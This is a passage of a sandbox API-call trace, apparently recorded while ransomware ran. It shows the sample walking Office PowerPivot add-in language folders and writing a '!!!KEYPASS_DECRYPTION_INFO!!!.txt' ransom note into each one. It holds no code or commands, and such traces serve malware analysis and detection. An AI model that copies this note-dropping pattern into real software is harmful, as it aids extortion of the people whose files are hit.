Excel Add-in\\it\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0254.321] FindNextFileW (in: hFindFile=0x3988238, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0254.321] FindNextFileW (in: hFindFile=0x3988238, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0254.321] FindNextFileW (in: hFindFile=0x3988238, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0254.321] FindNextFileW (in: hFindFile=0x3988238, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0254.321] FindNextFileW (in: hFindFile=0x3988238, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0254.321] FindNextFileW (in: hFindFile=0x3988238, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0254.321] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0254.321] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0254.322] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39883a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0254.322] GetLastError () returned 0x3f0 [0254.322] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0254.322] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0254.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ja\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b8 [0254.335] GetFileType (hFile=0x8b8) returned 0x1 [0254.335] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0254.336] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0254.336] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0254.336] WriteFile (in: hFile=0x8b8, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0254.337] WriteFile (in: hFile=0x8b8, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0254.337] CloseHandle (hObject=0x8b8) returned 1 [0254.338] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3987cf8 [0254.338] FindNextFileW (in: hFindFile=0x3987cf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.725] FindNextFileW (in: hFindFile=0x3987cf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.726] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0254.726] FindNextFileW (in: hFindFile=0x3987cf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.726] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\LocalizedStrings.xml") returned=".xml" [0254.726] FindNextFileW (in: hFindFile=0x3987cf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.726] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0254.726] FindNextFileW (in: hFindFile=0x3987cf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.726] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0254.726] FindNextFileW (in: hFindFile=0x3987cf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.726] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0254.726] FindNextFileW (in: hFindFile=0x3987cf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.726] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0254.726] FindNextFileW (in: hFindFile=0x3987cf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.726] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0254.727] FindNextFileW (in: hFindFile=0x3987cf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.727] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0254.727] FindNextFileW (in: hFindFile=0x3987cf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.727] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0254.727] FindNextFileW (in: hFindFile=0x3987cf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.727] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0254.727] FindNextFileW (in: hFindFile=0x3987cf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.727] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0254.727] FindNextFileW (in: hFindFile=0x3987cf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.727] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0254.727] FindNextFileW (in: hFindFile=0x3987cf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.727] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0254.727] FindNextFileW (in: hFindFile=0x3987cf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.727] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0254.727] FindNextFileW (in: hFindFile=0x3987cf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.727] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0254.727] FindNextFileW (in: hFindFile=0x3987cf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.728] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0254.728] FindNextFileW (in: hFindFile=0x3987cf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.728] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0254.728] FindNextFileW (in: hFindFile=0x3987cf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.728] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0254.728] FindNextFileW (in: hFindFile=0x3987cf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.728] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0254.728] FindNextFileW (in: hFindFile=0x3987cf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.728] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0254.728] FindNextFileW (in: hFindFile=0x3987cf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.728] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0254.728] FindNextFileW (in: hFindFile=0x3987cf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.728] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0254.728] FindNextFileW (in: hFindFile=0x3987cf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.728] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0254.728] FindNextFileW (in: hFindFile=0x3987cf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0254.729] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0254.729] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0254.729] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39883a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0254.729] GetLastError () returned 0x3f0 [0254.729] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0254.729] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0254.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\kk\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c0 [0254.736] GetFileType (hFile=0x8c0) returned 0x1 [0254.736] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0254.737] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0254.737] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0254.737] WriteFile (in: hFile=0x8c0, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0254.738] WriteFile (in: hFile=0x8c0, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0254.738] CloseHandle (hObject=0x8c0) returned 1 [0254.739] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3987ab8 [0254.739] FindNextFileW (in: hFindFile=0x3987ab8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.740] FindNextFileW (in: hFindFile=0x3987ab8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.740] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0254.740] FindNextFileW (in: hFindFile=0x3987ab8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.740] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\LocalizedStrings.xml") returned=".xml" [0254.740] FindNextFileW (in: hFindFile=0x3987ab8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.740] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0254.740] FindNextFileW (in: hFindFile=0x3987ab8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.740] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0254.740] FindNextFileW (in: hFindFile=0x3987ab8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.741] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0254.741] FindNextFileW (in: hFindFile=0x3987ab8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.741] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0254.741] FindNextFileW (in: hFindFile=0x3987ab8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.741] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0254.741] FindNextFileW (in: hFindFile=0x3987ab8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.741] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0254.741] FindNextFileW (in: hFindFile=0x3987ab8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.741] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0254.741] FindNextFileW (in: hFindFile=0x3987ab8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.741] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0254.741] FindNextFileW (in: hFindFile=0x3987ab8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.741] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0254.741] FindNextFileW (in: hFindFile=0x3987ab8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.741] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0254.741] FindNextFileW (in: hFindFile=0x3987ab8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.741] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0254.742] FindNextFileW (in: hFindFile=0x3987ab8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.742] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0254.742] FindNextFileW (in: hFindFile=0x3987ab8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.742] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0254.742] FindNextFileW (in: hFindFile=0x3987ab8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.742] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0254.742] FindNextFileW (in: hFindFile=0x3987ab8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.742] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0254.742] FindNextFileW (in: hFindFile=0x3987ab8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.742] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0254.742] FindNextFileW (in: hFindFile=0x3987ab8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.743] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0254.743] FindNextFileW (in: hFindFile=0x3987ab8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.743] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0254.743] FindNextFileW (in: hFindFile=0x3987ab8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.743] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0254.743] FindNextFileW (in: hFindFile=0x3987ab8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.743] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0254.743] FindNextFileW (in: hFindFile=0x3987ab8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.743] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0254.743] FindNextFileW (in: hFindFile=0x3987ab8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0254.743] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0254.743] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0254.743] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39883a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0254.743] GetLastError () returned 0x3f0 [0254.743] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0254.743] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0254.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ko\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8bc [0254.882] GetFileType (hFile=0x8bc) returned 0x1 [0254.882] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0254.882] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0254.883] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0254.883] WriteFile (in: hFile=0x8bc, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0254.884] WriteFile (in: hFile=0x8bc, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0254.884] CloseHandle (hObject=0x8bc) returned 1 [0254.884] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3987af8 [0254.884] FindNextFileW (in: hFindFile=0x3987af8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.905] FindNextFileW (in: hFindFile=0x3987af8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.905] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0254.905] FindNextFileW (in: hFindFile=0x3987af8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.905] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\LocalizedStrings.xml") returned=".xml" [0254.905] FindNextFileW (in: hFindFile=0x3987af8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.905] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0254.905] FindNextFileW (in: hFindFile=0x3987af8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.905] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") 